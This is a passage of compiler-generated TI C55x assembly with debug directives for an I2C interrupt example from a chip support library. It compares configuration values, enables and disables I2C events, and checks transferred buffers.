; |464| MOV *(#(_i2cConfig+5)), AR2 ; |464| CMPU AR2 != AR1, TC1 ; |464| BCC $C$L39,TC1 ; |464| ; branchcc occurs ; |464| MOV *(#(_i2cGetConfig+6)), AR1 ; |464| MOV *(#(_i2cConfig+6)), AR2 ; |464| CMPU AR2 != AR1, TC1 ; |464| BCC $C$L39,TC1 ; |464| ; branchcc occurs ; |464| MOV *(#(_i2cGetConfig+7)), AR1 ; |464| MOV *(#(_i2cConfig+7)), AR2 ; |464| CMPU AR2 != AR1, TC1 ; |464| BCC $C$L39,TC1 ; |464| ; branchcc occurs ; |464| MOV *(#(_i2cGetConfig+8)), AR1 ; |464| MOV *(#(_i2cConfig+8)), AR2 ; |464| CMPU AR2 == AR1, TC1 ; |464| BCC $C$L40,TC1 ; |464| ; branchcc occurs ; |464| $C$L39: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 474,column 6,is_stmt AMOV #$C$FSL8, XAR3 ; |474| MOV XAR3, dbl(*SP(#0)) $C$DW$99 .dwtag DW_TAG_TI_branch .dwattr $C$DW$99, DW_AT_low_pc(0x00) .dwattr $C$DW$99, DW_AT_name("_printf") .dwattr $C$DW$99, DW_AT_TI_call CALL #_printf ; |474| ; call occurs [#_printf] ; |474| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 475,column 3,is_stmt MOV *SP(#3), T0 ; |475| B $C$L51 ; |475| ; branch occurs ; |475| $C$L40: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 478,column 2,is_stmt MOV #0, *(#_i2cRxCount) ; |478| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 479,column 2,is_stmt MOV *(#(_i2cConfig+4)), AR1 ; |479| MOV AR1, *(#_dataLength) ; |479| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 482,column 2,is_stmt $C$DW$100 .dwtag DW_TAG_TI_branch .dwattr $C$DW$100, DW_AT_low_pc(0x00) .dwattr $C$DW$100, DW_AT_name("_I2C_eventEnable") .dwattr $C$DW$100, DW_AT_TI_call CALL #_I2C_eventEnable ; |482| || MOV #3, T0 ; call occurs [#_I2C_eventEnable] ; |482| MOV T0, *SP(#2) ; |482| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 483,column 2,is_stmt MOV T0, AR1 BCC $C$L41,AR1 == #0 ; |483| ; branchcc occurs ; |483| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 485,column 3,is_stmt AMOV #$C$FSL9, XAR3 ; |485| MOV XAR3, dbl(*SP(#0)) $C$DW$101 .dwtag DW_TAG_TI_branch .dwattr $C$DW$101, DW_AT_low_pc(0x00) .dwattr $C$DW$101, DW_AT_name("_printf") .dwattr $C$DW$101, DW_AT_TI_call CALL #_printf ; |485| ; call occurs [#_printf] ; |485| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 486,column 3,is_stmt MOV *SP(#3), T0 ; |486| B $C$L51 ; |486| ; branch occurs ; |486| $C$L41: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 490,column 2,is_stmt $C$DW$102 .dwtag DW_TAG_TI_branch .dwattr $C$DW$102, DW_AT_low_pc(0x00) .dwattr $C$DW$102, DW_AT_name("_I2C_eventEnable") .dwattr $C$DW$102, DW_AT_TI_call CALL #_I2C_eventEnable ; |490| || MOV #5, T0 ; call occurs [#_I2C_eventEnable] ; |490| MOV T0, *SP(#2) ; |490| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 491,column 2,is_stmt MOV T0, AR1 BCC $C$L42,AR1 == #0 ; |491| ; branchcc occurs ; |491| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 493,column 3,is_stmt AMOV #$C$FSL9, XAR3 ; |493| MOV XAR3, dbl(*SP(#0)) $C$DW$103 .dwtag DW_TAG_TI_branch .dwattr $C$DW$103, DW_AT_low_pc(0x00) .dwattr $C$DW$103, DW_AT_name("_printf") .dwattr $C$DW$103, DW_AT_TI_call CALL #_printf ; |493| ; call occurs [#_printf] ; |493| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 494,column 3,is_stmt MOV *SP(#3), T0 ; |494| B $C$L51 ; |494| ; branch occurs ; |494| $C$L42: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 498,column 2,is_stmt MOV *port(#6692), AR1 ; |498| BCLR @#13, AR1 ; |498| BSET @#13, AR1 ; |498| MOV AR1, *port(#6692) ; |498| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 500,column 8,is_stmt MOV *(#_dataLength), AR1 ; |500| BCC $C$L44,AR1 == #0 ; |500| ; branchcc occurs ; |500| $C$L43: $C$DW$L$_CSL_i2cIntcTest$86$B: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 502,column 3,is_stmt MOV *(#_stopDetected), AR1 ; |502| BCC $C$L44,AR1 != #0 ; |502| ; branchcc occurs ; |502| $C$DW$L$_CSL_i2cIntcTest$86$E: $C$DW$L$_CSL_i2cIntcTest$87$B: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 504,column 4,is_stmt .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 500,column 8,is_stmt MOV *(#_dataLength), AR1 ; |500| BCC $C$L43,AR1 != #0 ; |500| ; branchcc occurs ; |500| $C$DW$L$_CSL_i2cIntcTest$87$E: $C$L44: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 509,column 2,is_stmt $C$DW$104 .dwtag DW_TAG_TI_branch .dwattr $C$DW$104, DW_AT_low_pc(0x00) .dwattr $C$DW$104, DW_AT_name("_I2C_eventDisable") .dwattr $C$DW$104, DW_AT_TI_call CALL #_I2C_eventDisable ; |509| || MOV #3, T0 ; call occurs [#_I2C_eventDisable] ; |509| MOV T0, *SP(#2) ; |509| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 510,column 2,is_stmt MOV T0, AR1 BCC $C$L45,AR1 == #0 ; |510| ; branchcc occurs ; |510| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 512,column 3,is_stmt AMOV #$C$FSL11, XAR3 ; |512| MOV XAR3, dbl(*SP(#0)) $C$DW$105 .dwtag DW_TAG_TI_branch .dwattr $C$DW$105, DW_AT_low_pc(0x00) .dwattr $C$DW$105, DW_AT_name("_printf") .dwattr $C$DW$105, DW_AT_TI_call CALL #_printf ; |512| ; call occurs [#_printf] ; |512| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 513,column 3,is_stmt MOV *SP(#3), T0 ; |513| B $C$L51 ; |513| ; branch occurs ; |513| $C$L45: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 517,column 2,is_stmt $C$DW$106 .dwtag DW_TAG_TI_branch .dwattr $C$DW$106, DW_AT_low_pc(0x00) .dwattr $C$DW$106, DW_AT_name("_I2C_eventDisable") .dwattr $C$DW$106, DW_AT_TI_call CALL #_I2C_eventDisable ; |517| || MOV #5, T0 ; call occurs [#_I2C_eventDisable] ; |517| MOV T0, *SP(#2) ; |517| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 518,column 2,is_stmt MOV T0, AR1 BCC $C$L46,AR1 == #0 ; |518| ; branchcc occurs ; |518| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 520,column 3,is_stmt AMOV #$C$FSL11, XAR3 ; |520| MOV XAR3, dbl(*SP(#0)) $C$DW$107 .dwtag DW_TAG_TI_branch .dwattr $C$DW$107, DW_AT_low_pc(0x00) .dwattr $C$DW$107, DW_AT_name("_printf") .dwattr $C$DW$107, DW_AT_TI_call CALL #_printf ; |520| ; call occurs [#_printf] ; |520| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 521,column 3,is_stmt MOV *SP(#3), T0 ; |521| B $C$L51 ; |521| ; branch occurs ; |521| $C$L46: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 525,column 2,is_stmt $C$DW$108 .dwtag DW_TAG_TI_branch .dwattr $C$DW$108, DW_AT_low_pc(0x00) .dwattr $C$DW$108, DW_AT_name("_IRQ_globalDisable") .dwattr $C$DW$108, DW_AT_TI_call CALL #_IRQ_globalDisable ; |525| ; call occurs [#_IRQ_globalDisable] ; |525| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 528,column 2,is_stmt $C$DW$109 .dwtag DW_TAG_TI_branch .dwattr $C$DW$109, DW_AT_low_pc(0x00) .dwattr $C$DW$109, DW_AT_name("_IRQ_clearAll") .dwattr $C$DW$109, DW_AT_TI_call CALL #_IRQ_clearAll ; |528| ; call occurs [#_IRQ_clearAll] ; |528| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 531,column 2,is_stmt $C$DW$110 .dwtag DW_TAG_TI_branch .dwattr $C$DW$110, DW_AT_low_pc(0x00) .dwattr $C$DW$110, DW_AT_name("_IRQ_disableAll") .dwattr $C$DW$110, DW_AT_TI_call CALL #_IRQ_disableAll ; |531| ; call occurs [#_IRQ_disableAll] ; |531| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 533,column 2,is_stmt AMOV #$C$FSL13, XAR3 ; |533| MOV XAR3, dbl(*SP(#0)) $C$DW$111 .dwtag DW_TAG_TI_branch .dwattr $C$DW$111, DW_AT_low_pc(0x00) .dwattr $C$DW$111, DW_AT_name("_printf") .dwattr $C$DW$111, DW_AT_TI_call CALL #_printf ; |533| ; call occurs [#_printf] ; |533| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 536,column 6,is_stmt MOV #0, *SP(#4) ; |536| NOP NOP .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 536,column 18,is_stmt MOV #64, AR2 ; |536| MOV *SP(#4), AR1 ; |536| CMPU AR1 >= AR2, TC1 ; |536| BCC $C$L49,TC1 ; |536| ; branchcc occurs ; |536| $C$L47: $C$DW$L$_CSL_i2cIntcTest$93$B: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 538,column 3,is_stmt MOV *SP(#4), T0 ; |538| AMOV #_gI2cRdBuf, XAR3 ; |538| MOV *AR3(T0), AR1 ; |538| MOV *SP(#4), T0 ; |538| ADD #2, T0 ; |538| AMOV #_gI2cWrBuf, XAR3 ; |538| MOV *AR3(T0), AR2 ; |538| CMPU AR2 == AR1, TC1 ; |538| BCC $C$L48,TC1 ; |538| ; branchcc occurs ; |538| $C$DW$L$_CSL_i2cIntcTest$93$E: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 540,column 4,is_stmt AMOV #$C$FSL14, XAR3 ; |540| MOV XAR3, dbl(*SP(#0)) $C$DW$112 .dwtag DW_TAG_TI_branch .dwattr $C$DW$112, DW_AT_low_pc(0x00) .dwattr $C$DW$112, DW_AT_name("_printf") .dwattr $C$DW$112, DW_AT_TI_call CALL #_printf ; |540| ; call occurs [#_printf] ; |540| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 541,column 4,is_stmt MOV *SP(#3), T0 ; |541| B $C$L51 ; |541| ; branch occurs ; |541| $C$L48: $C$DW$L$_CSL_i2cIntcTest$95$B: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 536,column 46,is_stmt ADD #1, *SP(#4) ; |536| NOP NOP .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 536,column 18,is_stmt MOV #64, AR2 ; |536| MOV *SP(#4), AR1 ; |536| CMPU AR1 < AR2, TC1 ; |536| BCC $C$L47,TC1 ; |536| ; branchcc occurs ; |536| $C$DW$L$_CSL_i2cIntcTest$95$E: $C$L49: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 545,column 2,is_stmt CMP *SP(#4) == #64, TC1 ; |545| BCC $C$L50,!TC1 ; |545| ; branchcc occurs ; |545| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 547,column 3,is_stmt AMOV #$C$FSL15, XAR3 ; |547| MOV XAR3, dbl(*SP(#0)) $C$DW$113 .dwtag DW_TAG_TI_branch .dwattr $C$DW$113, DW_AT_low_pc(0x00) .dwattr $C$DW$113, DW_AT_name("_printf") .dwattr $C$DW$113, DW_AT_TI_call CALL #_printf ; |547| ; call occurs [#_printf] ; |547| $C$L50: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 550,column 2,is_stmt MOV #0, *SP(#3) ; |550| .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 551,column 2,is_stmt MOV *SP(#3), T0 ; |551| $C$L51: .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 552,column 1,is_stmt AADD #5, SP .dwcfi cfa_offset, 1 $C$DW$114 .dwtag DW_TAG_TI_branch .dwattr $C$DW$114, DW_AT_low_pc(0x00) .dwattr $C$DW$114, DW_AT_TI_return RET ; return occurs $C$DW$115 .dwtag DW_TAG_TI_loop .dwattr $C$DW$115, DW_AT_name("F:\eZdsp_DBG\tmp1\c55x-sim2\foo\Debug\csl_i2c_intc_example.asm:$C$L47:1:1538287775") .dwattr $C$DW$115, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c") .dwattr $C$DW$115, DW_AT_TI_begin_line(0x218) .dwattr $C$DW$115, DW_AT_TI_end_line(0x21f) $C$DW$116 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$116, DW_AT_low_pc($C$DW$L$_CSL_i2cIntcTest$93$B) .dwattr $C$DW$116, DW_AT_high_pc($C$DW$L$_CSL_i2cIntcTest$93$E) $C$DW$117 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$117, DW_AT_low_pc($C$DW$L$_CSL_i2cIntcTest$95$B) .dwattr $C$DW$117, DW_AT_high_pc($C$DW$L$_CSL_i2cIntcTest$95$E) .dwendtag $C$DW$115 $C$DW$118 .dwtag DW_TAG_TI_loop .dwattr $C$DW$118, DW_AT_name("F:\eZdsp_DBG\tmp1\c55x-sim2\foo\Debug\csl_i2c_intc_example.asm:$C$L43:1:1538287775") .dwattr $C$DW$118, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c") .dwattr $C$DW$118, DW_AT_TI_begin_line(0x1f4) .dwattr $C$DW$118, DW_AT_TI_end_line(0x1fa) $C$DW$119 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$119, DW_AT_low_pc($C$DW$L$_CSL_i2cIntcTest$86$B) .dwattr $C$DW$119, DW_AT_high_pc($C$DW$L$_CSL_i2cIntcTest$86$E) $C$DW$120 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$120, DW_AT_low_pc($C$DW$L$_CSL_i2cIntcTest$87$B) .dwattr $C$DW$120, DW_AT_high_pc($C$DW$L$_CSL_i2cIntcTest$87$E) .dwendtag $C$DW$118 $C$DW$121 .dwtag DW_TAG_TI_loop .dwattr $C$DW$121, DW_AT_name("F:\eZdsp_DBG\tmp1\c55x-sim2\foo\Debug\csl_i2c_intc_example.asm:$C$L35:1:1538287775") .dwattr $C$DW$121, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c") .dwattr $C$DW$121, DW_AT_TI_begin_line(0x1b3) .dwattr $C$DW$121, DW_AT_TI_end_line(0x1b3) $C$DW$122 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$122, DW_AT_low_pc($C$DW$L$_CSL_i2cIntcTest$66$B) .dwattr $C$DW$122, DW_AT_high_pc($C$DW$L$_CSL_i2cIntcTest$66$E) .dwendtag $C$DW$121 $C$DW$123 .dwtag DW_TAG_TI_loop .dwattr $C$DW$123, DW_AT_name("F:\eZdsp_DBG\tmp1\c55x-sim2\foo\Debug\csl_i2c_intc_example.asm:$C$L33:1:1538287775") .dwattr $C$DW$123, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c") .dwattr $C$DW$123, DW_AT_TI_begin_line(0x1b2) .dwattr $C$DW$123, DW_AT_TI_end_line(0x1b2) $C$DW$124 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$124, DW_AT_low_pc($C$DW$L$_CSL_i2cIntcTest$64$B) .dwattr $C$DW$124, DW_AT_high_pc($C$DW$L$_CSL_i2cIntcTest$64$E) .dwendtag $C$DW$123 $C$DW$125 .dwtag DW_TAG_TI_loop .dwattr $C$DW$125, DW_AT_name("F:\eZdsp_DBG\tmp1\c55x-sim2\foo\Debug\csl_i2c_intc_example.asm:$C$L28:1:1538287775") .dwattr $C$DW$125, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c") .dwattr $C$DW$125, DW_AT_TI_begin_line(0x198) .dwattr $C$DW$125, DW_AT_TI_end_line(0x19f) $C$DW$126 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$126, DW_AT_low_pc($C$DW$L$_CSL_i2cIntcTest$56$B) .dwattr $C$DW$126, DW_AT_high_pc($C$DW$L$_CSL_i2cIntcTest$56$E) $C$DW$127 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$127, DW_AT_low_pc($C$DW$L$_CSL_i2cIntcTest$58$B) .dwattr $C$DW$127, DW_AT_high_pc($C$DW$L$_CSL_i2cIntcTest$58$E) .dwendtag $C$DW$125 $C$DW$128 .dwtag DW_TAG_TI_loop .dwattr $C$DW$128, DW_AT_name("F:\eZdsp_DBG\tmp1\c55x-sim2\foo\Debug\csl_i2c_intc_example.asm:$C$L20:1:1538287775") .dwattr $C$DW$128, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c") .dwattr $C$DW$128, DW_AT_TI_begin_line(0x155) .dwattr $C$DW$128, DW_AT_TI_end_line(0x155) $C$DW$129 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$129, DW_AT_low_pc($C$DW$L$_CSL_i2cIntcTest$36$B) .dwattr $C$DW$129, DW_AT_high_pc($C$DW$L$_CSL_i2cIntcTest$36$E) .dwendtag $C$DW$128 $C$DW$130 .dwtag DW_TAG_TI_loop .dwattr $C$DW$130, DW_AT_name("F:\eZdsp_DBG\tmp1\c55x-sim2\foo\Debug\csl_i2c_intc_example.asm:$C$L18:1:1538287775") .dwattr $C$DW$130, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c") .dwattr $C$DW$130, DW_AT_TI_begin_line(0x154) .dwattr $C$DW$130, DW_AT_TI_end_line(0x154) $C$DW$131 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$131, DW_AT_low_pc($C$DW$L$_CSL_i2cIntcTest$34$B) .dwattr $C$DW$131, DW_AT_high_pc($C$DW$L$_CSL_i2cIntcTest$34$E) .dwendtag $C$DW$130 $C$DW$132 .dwtag DW_TAG_TI_loop .dwattr $C$DW$132, DW_AT_name("F:\eZdsp_DBG\tmp1\c55x-sim2\foo\Debug\csl_i2c_intc_example.asm:$C$L13:1:1538287775") .dwattr $C$DW$132, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c") .dwattr $C$DW$132, DW_AT_TI_begin_line(0x138) .dwattr $C$DW$132, DW_AT_TI_end_line(0x13f) $C$DW$133 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$133, DW_AT_low_pc($C$DW$L$_CSL_i2cIntcTest$26$B) .dwattr $C$DW$133, DW_AT_high_pc($C$DW$L$_CSL_i2cIntcTest$26$E) $C$DW$134 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$134, DW_AT_low_pc($C$DW$L$_CSL_i2cIntcTest$28$B) .dwattr $C$DW$134, DW_AT_high_pc($C$DW$L$_CSL_i2cIntcTest$28$E) .dwendtag $C$DW$132 $C$DW$135 .dwtag DW_TAG_TI_loop .dwattr $C$DW$135, DW_AT_name("F:\eZdsp_DBG\tmp1\c55x-sim2\foo\Debug\csl_i2c_intc_example.asm:$C$L3:1:1538287775") .dwattr $C$DW$135, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c") .dwattr $C$DW$135, DW_AT_TI_begin_line(0xc4) .dwattr $C$DW$135, DW_AT_TI_end_line(0xc8) $C$DW$136 .dwtag DW_TAG_TI_loop_range .dwattr $C$DW$136, DW_AT_low_pc($C$DW$L$_CSL_i2cIntcTest$2$B) .dwattr $C$DW$136, DW_AT_high_pc($C$DW$L$_CSL_i2cIntcTest$2$E) .dwendtag $C$DW$135 .dwattr $C$DW$51, DW_AT_TI_end_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c") .dwattr $C$DW$51, DW_AT_TI_end_line(0x228) .dwattr $C$DW$51, DW_AT_TI_end_column(0x01) .dwendentry .dwendtag $C$DW$51 .sect ".text" .align 4 .global _CSL_i2cAlCallback $C$DW$137 .dwtag DW_TAG_subprogram, DW_AT_name("CSL_i2cAlCallback") .dwattr $C$DW$137, DW_AT_low_pc(_CSL_i2cAlCallback) .dwattr $C$DW$137, DW_AT_high_pc(0x00) .dwattr $C$DW$137, DW_AT_TI_symbol_name("_CSL_i2cAlCallback") .dwattr $C$DW$137, DW_AT_external .dwattr $C$DW$137, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c") .dwattr $C$DW$137, DW_AT_TI_begin_line(0x231) .dwattr $C$DW$137, DW_AT_TI_begin_column(0x06) .dwattr $C$DW$137, DW_AT_TI_max_frame_size(0x01) .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 562,column 1,is_stmt,address _CSL_i2cAlCallback .dwfde $C$DW$CIE, _CSL_i2cAlCallback ;******************************************************************************* ;* FUNCTION NAME: CSL_i2cAlCallback * ;* * ;* Function Uses Regs : SP,M40,SATA,SATD,RDM,FRCT,SMUL * ;* Stack Frame : Compact (No Frame Pointer, w/ debug) * ;* Total Frame Size : 1 word * ;* (1 return address/alignment) * ;* Min System Stack : 1 word * ;******************************************************************************* _CSL_i2cAlCallback: .dwcfi cfa_offset, 1 .dwcfi save_reg_to_mem, 91, -1 .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 564,column 1,is_stmt $C$DW$138 .dwtag DW_TAG_TI_branch .dwattr $C$DW$138, DW_AT_low_pc(0x00) .dwattr $C$DW$138, DW_AT_TI_return RET ; return occurs .dwattr $C$DW$137, DW_AT_TI_end_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c") .dwattr $C$DW$137, DW_AT_TI_end_line(0x234) .dwattr $C$DW$137, DW_AT_TI_end_column(0x01) .dwendentry .dwendtag $C$DW$137 .sect ".text" .align 4 .global _CSL_i2cNackCallback $C$DW$139 .dwtag DW_TAG_subprogram, DW_AT_name("CSL_i2cNackCallback") .dwattr $C$DW$139, DW_AT_low_pc(_CSL_i2cNackCallback) .dwattr $C$DW$139, DW_AT_high_pc(0x00) .dwattr $C$DW$139, DW_AT_TI_symbol_name("_CSL_i2cNackCallback") .dwattr $C$DW$139, DW_AT_external .dwattr $C$DW$139, DW_AT_TI_begin_file("../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c") .dwattr $C$DW$139, DW_AT_TI_begin_line(0x23d) .dwattr $C$DW$139, DW_AT_TI_begin_column(0x06) .dwattr $C$DW$139, DW_AT_TI_max_frame_size(0x01) .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 574,column 1,is_stmt,address _CSL_i2cNackCallback .dwfde $C$DW$CIE, _CSL_i2cNackCallback ;******************************************************************************* ;* FUNCTION NAME: CSL_i2cNackCallback * ;* * ;* Function Uses Regs : SP,M40,SATA,SATD,RDM,FRCT,SMUL * ;* Stack Frame : Compact (No Frame Pointer, w/ debug) * ;* Total Frame Size : 1 word * ;* (1 return address/alignment) * ;* Min System Stack : 1 word * ;******************************************************************************* _CSL_i2cNackCallback: .dwcfi cfa_offset, 1 .dwcfi save_reg_to_mem, 91, -1 .dwpsn file "../c5535_bsl_revc/ezdsp5535_v1/c55xx_csl/ccs_v4.0_examples/i2c/CSL_I2C_IntcExample/csl_i2c_intc_example.c",line 575,column 2,is_stmt MOV #1, *(#_i2cErrInTx) ; |575| .dwpsn file 